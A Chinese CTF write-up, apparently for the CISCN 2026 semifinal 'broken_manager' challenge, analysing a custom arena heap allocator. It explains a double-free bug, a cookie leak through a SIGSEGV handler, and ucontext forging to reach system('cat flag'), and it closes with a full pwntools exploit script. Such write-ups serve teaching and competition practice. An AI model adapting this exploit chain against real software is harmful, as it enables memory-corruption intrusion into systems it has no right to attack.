broken_manager题解

自定义main_arena题解,是2026ciscn半决赛的一道题

我们简单的审计一下这个题目,和强网的题目是很像的,我们先来看一下

这里的cookie是真随机数

  arena->magic = 0xAACCBBDD0077EECCLL;
  fd = open("/dev/random", 0);
  read(fd, &arena->ptr_cookie, 4u);

之后的话就是这个自定义的arena的挂接

  if ( arena == &g_root_arena )
  {
    g_root_arena.next = &g_root_arena;
    g_root_arena.prev = &g_root_arena;
  }
  else
  {
    arena->next = &g_root_arena;
    arena->prev = g_root_arena.prev;
    g_root_arena.prev->next = arena;
    g_root_arena.prev = arena;
  }

之后就是这个arena分配内存块的方式

还有预留空间就切割0x4000从总空间中,假如说没有预留空间的话,就会调用mmap进行空间分配

  if ( g_arena_region_cursor < g_arena_region_limit )
  {
    arena->bump_cursor = (unsigned int *)g_arena_region_cursor;
    g_arena_region_cursor += 0x4000LL;
  }
  else                                          // 拓展
  {
    arena->bump_cursor = (unsigned int *)mmap(0, 0x4000u, 3, 34, -1, 0);
  }

之后就给arena挂上这个内存区域的特性

  memset(arena->bump_cursor, 0, 0x4000u);
  arena->ptr_high32_mask = (unsigned __int64)arena->bump_cursor & 0xFFFFFFFF00000000LL;
  arena->region_size = 0x4000;
  arena->remaining_bytes = 0x4000;
  arena->free_bins = arena->bump_cursor;
  arena->free_bins = (unsigned int *)arena_alloc(arena, 0x80u);
}

之后就是打印菜单,功能是完全的,然后我们看到还有一个0x66的选项,这里是我们的选项

[DEBUG] Received 0x7f bytes:
    b'Chunks checking...\n'
    b'[INFO]arfree: called.\n'
    b'[INFO]: 9\n'
    b'[INFO]arfree: called.\n'
    b'[INFO]: 3\n'
    b'[INFO]arfree: called.\n'
    b'[INFO]: 1\n'
    b'Check done.\n'
Chunks checking...
[INFO]arfree: called.
[INFO]: 9
[INFO]arfree: called.
[INFO]: 3
[INFO]arfree: called.
[INFO]: 1
Check done.
[*] Process './pwn' stopped with exit code 0 (pid 24495)
[*] Got EOF while reading in interactive

我们的程序输出的逻辑俩看你的话,我们需要搞清楚这里输出的逻辑

当我们大致的分析清楚这个逻辑之后,我们就能大致搞清楚这个题目的基本逻辑了

printf("[INFO]: %d\n", *(user_ptr - 1));

我们先看alloc的基本的逻辑

首先从arena中进行选取

current_arena = arena_list_root->prev;

之后这里有个字节对齐

  v2 = (request_size + 4) & 0xFFFFFFE0;
  if ( (((_BYTE)request_size + 4) & 0x1F) != 0 )
    n32 = 32;
  else
    n32 = 0;

我们先看else,if那一块嵌套的有点多

这里看到大块是走的mmap流程的

  else
  {
    v4 = mmap(0, alloc_size, 3, 34, -1, 0);
    *v4 = alloc_size;
    return v4 + 1;
  }

之后上面的就是小块了,在不用情况是进行这四种情况的分配的

这里首先是当前arena的freelist,如果有的话就直接解码返回

之后看全局的arena的freelist,有的话还是相同的逻辑的

如果freelist都没有,而且当前arena剩余空间不够,就把剩余的空间的挂机free_bins之后,之后新建一个新的arena

freelist没有,当前的bump区还够的话,会直接从bump_cursor中切一块

real_ptr = ptr_high32_mask ^ encoded_low32 ^ ptr_cookie

之后就会返回一块指针给用户

    if ( current_arena->free_bins[size_class] )
    {
      v15 = (unsigned int *)(current_arena->ptr_high32_mask
                           ^ current_arena->free_bins[size_class]
                           ^ current_arena->ptr_cookie);
      current_arena->free_bins[size_class] = *v15;
      return v15;
    }
    else if ( g_root_arena.free_bins[size_class] )
    {
      v14 = (unsigned int *)(g_root_arena.ptr_cookie ^ g_root_arena.free_bins[size_class] ^ g_root_arena.ptr_high32_mask);
      g_root_arena.free_bins[size_class] = *v14;
      return v14;
    }
    else if ( current_arena->remaining_bytes < alloc_size )
    {                                           // If the current arena cannot satisfy the request, salvage leftover space into the root freelist and create a new arena.
      if ( current_arena->remaining_bytes )
      {
        bump_cursor = current_arena->bump_cursor;
        leftover_size_class = current_arena->remaining_bytes >> 5;
        *bump_cursor = leftover_size_class;
        bump_cursor[1] = g_root_arena.free_bins[leftover_size_class];
        g_root_arena.free_bins[leftover_size_class] = ((_DWORD)bump_cursor + 4) ^ g_root_arena.ptr_cookie;
        current_arena->remaining_bytes = 0;
      }
      v6 = arena_create_and_init();
      v6->remaining_bytes -= alloc_size;
      bump_cursor_1 = v6->bump_cursor;
      v6->bump_cursor = (unsigned int *)((char *)bump_cursor_1 + alloc_size);
      *bump_cursor_1 = size_class;
      return bump_cursor_1 + 1;
    }
    else
    {
      current_arena->remaining_bytes -= alloc_size;
      bump_cursor_2 = current_arena->bump_cursor;
      current_arena->bump_cursor = (unsigned int *)((char *)bump_cursor_2 + alloc_size);
      *bump_cursor_2 = size_class;
      return bump_cursor_2 + 1;
    }

free的话这个相对的简单一点

当小于0x20的时候,会改进对应的bin,当非常大的话,会调用mumap释放

// Free small chunks back into the arena freelist; munmap oversized allocations.
int __fastcall arena_free(arena_t *arena_list_root, unsigned int *user_ptr)
{
  unsigned int *v2; // rax
  unsigned int len; // [rsp+14h] [rbp-Ch]

  len = *(user_ptr - 1);
  if ( len <= 0x20 )
  {
    puts("[INFO]arfree: called.");
    *user_ptr = arena_list_root->free_bins[len];
    v2 = &arena_list_root->free_bins[len];
    *v2 = (unsigned int)user_ptr ^ arena_list_root->ptr_cookie;
  }
  else
  {
    puts("[INFO]arfree(munmap): called.");
    LODWORD(v2) = munmap(user_ptr - 1, len);
  }
  return (int)v2;
}

这个题目的漏洞是delete这里是清空了size,没有清空free

unsigned __int64 __fastcall menu_delete_chunk(arena_t *arena_list_root)
{
  unsigned int n0x10; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc23_scanf("%d", &n0x10);
  if ( n0x10 < 0x10 && g_chunks[n0x10] )
  {
    arena_free(arena_list_root, (unsigned int *)g_chunks[n0x10]);
    g_chunk_sizes[n0x10] = 0;
  }
  return v3 - __readfsqword(0x28u);
}

之后的还有add函数限制我们的实际的申请大小是小于0x200的

unsigned __int64 __fastcall menu_add_chunk(arena_t *arena_list_root)
{
  unsigned int idx_1; // ebx
  unsigned int idx; // [rsp+10h] [rbp-20h] BYREF
  unsigned int request_size; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc23_scanf("%d", &idx);
  if ( idx < 0x10 && !g_chunks[idx] )
  {
    printf("Size: ");
    __isoc23_scanf("%d", &request_size);
    if ( (int)request_size > 0 && (int)request_size <= 0x200 )
    {
      idx_1 = idx;
      g_chunks[idx_1] = (char *)arena_alloc(arena_list_root, request_size);
      g_chunk_sizes[idx] = request_size;
      printf("Content: ");
      read(0, g_chunks[idx], (int)request_size);
    }
  }
  return v5 - __readfsqword(0x28u);
}

我们写个简单的demo脚本,可以看到我们的ptr并没有被ptr清除

这里我们delete之后show不出来数据,我们研究了一下还有这个逻辑

之后挂进去,chunk0->next指针的区域就变成了00字节截断,这里是我们show不出来的原因

    *user_ptr = arena_list_root->free_bins[len];  //主要是这个,给指针写了0字节
    v2 = &arena_list_root->free_bins[len];
    *v2 = (unsigned int)user_ptr ^ arena_list_root->ptr_cookie;
  }

我们多绕一下next指针就行了,预防一下00截断

这里,我们大致是看懂了题目的逻辑,这个并不是完全的uaf利用,所以说还需要去搞懂

这里的话我们主要是利用的double free思路,主要是如下,这样我们就拥有了任意地址分配的能力

这里的话也没有double free的检查,自定义的好处是检查是很宽松的

add(0,size,content)

delete(0)

add(1,size,content)

delete(0)

edit(1,size,content)

这里报错是不会直接退出,而是会加载init_arena,我们可以利用这点把旧的cookie泄露出来

主要的代码如下,很隐蔽的

.init_array:0000000000004D40                 dq offset runtime_init_and_install_sigsegv_handler ;

然后这一块进行了初始化,一开始的总觉得少了点的什么,主要是少了这个

// Disable stdio buffering, set up an alternate signal stack, and install the SIGSEGV handler.
unsigned __int64 runtime_init_and_install_sigsegv_handler(void)
{
  void *ss_sp; // rax
  sigaltstack v2; // [rsp+0h] [rbp-C0h] BYREF
  sigaction act; // [rsp+20h] [rbp-A0h] BYREF
  unsigned __int64 v4; // [rsp+B8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  ss_sp = mmap(0, 0x20000u, 3, 34, -1, 0);
  g_arena_region_limit = (unsigned __int64)ss_sp + 0x20000;
  v2.ss_sp = ss_sp;
  v2.ss_size = 0x4000;
  v2.ss_flags = 0;
  g_arena_region_cursor = (unsigned __int64)ss_sp + 0x4000;
  if ( sigaltstack(&v2, 0) == -1 )
    perror("sigaltstack");
  act.sa_flags = 134217732;
  act.sa_handler = (__sighandler_t)handle_invalid_ptr_and_restart;
  sigaction(11, &act, 0);
  return v4 - __readfsqword(0x28u);
}

然后就会打印内容,这里的打印的ptr是经过加密的

// SIGSEGV recovery path: print fault info, reset allocator state, and restart main().
void __fastcall handle_invalid_ptr_and_restart(int signum, void *siginfo, void *ucontext)
{
  char **v3; // rdx
  unsigned int v4; // [rsp+24h] [rbp-Ch]
  const void *v5; // [rsp+28h] [rbp-8h]

  puts("Unfortunaly, a serious problem crash the system");
  puts("There are some information about the bug, please copy them and send to xxx@yyy.zzz");
  puts("Then, I will try my best to recover the program, but it still suggest to restart it.");
  v4 = *((_DWORD *)siginfo + 1);
  v5 = (const void *)*((_QWORD *)siginfo + 2);
  memset(&g_root_arena, 0, sizeof(g_root_arena));
  memset(g_chunks, 0, sizeof(g_chunks));
  memset(g_chunk_sizes, 0, sizeof(g_chunk_sizes));
  printf("Invalid ptr access: %p\n", v5);
  printf("Errno: %d\n", v4);
  main((int)"Errno: %d\n", (char **)v4, v3);
}

这里的打印的地址是这样的,这里是涉及了内核的先关的一部分知识

  - v4 -> siginfo->si_errno
  - v5 -> siginfo->si_addr

上面我们分析free的指针加密逻辑,这里我们简单的再总结一下。高32位是原先的,低32位是经过加密,并且在freelist是只存低32位的

之后我们就能算出来实际的地址,根据泄露的值就能反推出来新的cookie

有了新的cookie之后,我们就有了任意地址读和写的能力了

之后我们计算出来一开始ptr的完整的地址,也就是可以拿到anon_base的基址,这里我们可以定点打申请到一开始的arena的管理器分配的位置,泄露出来libc

之后我们还是利用这个逻辑,去伪造ucontext_t,返回之后执行执行我们想要的system即可

  act.sa_handler = (__sighandler_t)handle_invalid_ptr_and_restart;
  sigaction(11, &act, 0);

这里是ai给我们的伪造的思路

不是造整个结构体,只要补这几处:

这样 handler 返回时,rt_sigreturn 会恢复成:

  cmd_addr = altstack_base + 0xb800
  rsp_addr = altstack_base + 0xbf88
  system_addr = libc_base + libc.sym["system"]

  arb_write(cmd_addr, b"cat flag\x00".ljust(0x10, b"\x00"))
  arb_write(rsp_addr, p64(0))

  arb_write(altstack_base + 0x34e8, p64(cmd_addr))    # RDI
  arb_write(altstack_base + 0x3520, p64(rsp_addr))    # RSP
  arb_write(altstack_base + 0x3528, p64(system_addr)) # RIP
  RDI = cmd_addr;
  RSP = rsp_addr;
  RIP = system_addr;

最终伪造好的exp如下

from pwn import *
import ctypes
import os
import time

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-l 100']
context.log_level = 'debug'
libc = ELF('./libc.so.6')

io = process('./pwn')
sleep(0.2)

pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s  = lambda x:io.send(x)
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda  :io.interactive()
sp = lambda  :sleep(1.5)
q  = lambda  :sleep(0.2)

def cmd(choice):
    rt(">> ")
    sl(str(choice))

def add(index,size,content):
    cmd(1)
    rt("Index: ")
    sl(str(index))
    rt("Size: ")
    sl(str(size))
    rt("Content: ")
    s(content)

def delete(index):
    cmd(2)
    rt("Index: ")
    sl(str(index))

def show(index):
    cmd(3)
    rt("Index: ")
    sl(str(index))

def edit(index,content):
    cmd(4)
    rt("Index: ")
    sl(str(index))
    rt("Content: ")
    s(content)
add(5,0x100,b'a')
delete(5)
delete(5)
show(5)
enc_old = u32(io.recv(4))
pr(enc_old)

add(0,0x200,b'a'*0x200)
delete(0)
add(1,0x200,b'b'*0x200)
delete(0)

edit(1,p32(0xdeadbeef))
add(2,0x200,b'c'*0x200)
#触发崩溃
cmd(1)
rt("Index: ")
sl(str(3))
rt("Size: ")
sl(str(0x200))
rt("Invalid ptr access: ")
rt('0x')
fault_ptr = ri(12)
old_cookie = (fault_ptr &  0xffffffff) ^ 0xdeadbeef
pr(old_cookie)
add(0, 8, b'C'*8)
delete(0)
delete(0)
show(0)
enc_new = u32(io.recv(4))
pr(enc_new)
old_chunk0_low32 = enc_old ^ old_cookie
new_chunk0_low32 = (old_chunk0_low32 + 0x4000) & 0xffffffff
new_cookie = enc_new ^ new_chunk0_low32
pr(new_cookie)
def build(target):
    encode_target = (target & 0xffffffff) ^ new_cookie
    return encode_target
old_chunk0 = (fault_ptr & 0xffffffff00000000) | old_chunk0_low32
anon_base = old_chunk0 - 0x40A4
pr(anon_base)


add(2,8,b'a')
delete(2)
add(3,8,b'a')
delete(2)
edit(3,p32(build(anon_base+0x36e0)))
add(4,8,b'a')
add(5,8,b'a')
show(5)
lib = ru(6) - 0x203961
pr(lib)
libc.address = lib


#之后任意地址写,伪造出来我们的ucontext
cmd_addr  = anon_base + 0xb800
system_addr = libc.sym["system"]

add(6,30,b'a')
delete(6)
add(7,30,b'a')
delete(6)
edit(7,p32(build(cmd_addr)))
add(8,30,b'a')
add(9,30,b"cat flag".ljust(0x10,b'\x00'))  

'''
#修改rsp的数值,这里其实不需要额外改了,利用的我们控制指向一个本来合法的地址就行
delete(8)
edit(7,p32(build(anon_base + 0xbf88)))
add(14,30,b'a')
add(15,30,p64(anon_base + 0xbf88))  
'''

add(10,0x200,b'a')
delete(10)
add(11,0x200,b'a')
delete(10)
edit(11,p32(build(anon_base + 0x34e8)))
add(12,0x200,b'a')
pd = p64(cmd_addr)
pd = pd.ljust(0x38,b'\x00')
pd += p64(anon_base + 0xbf88)
pd += p64(system_addr)
add(13,0x200,pd)



gdb.attach(io)
io.interactive()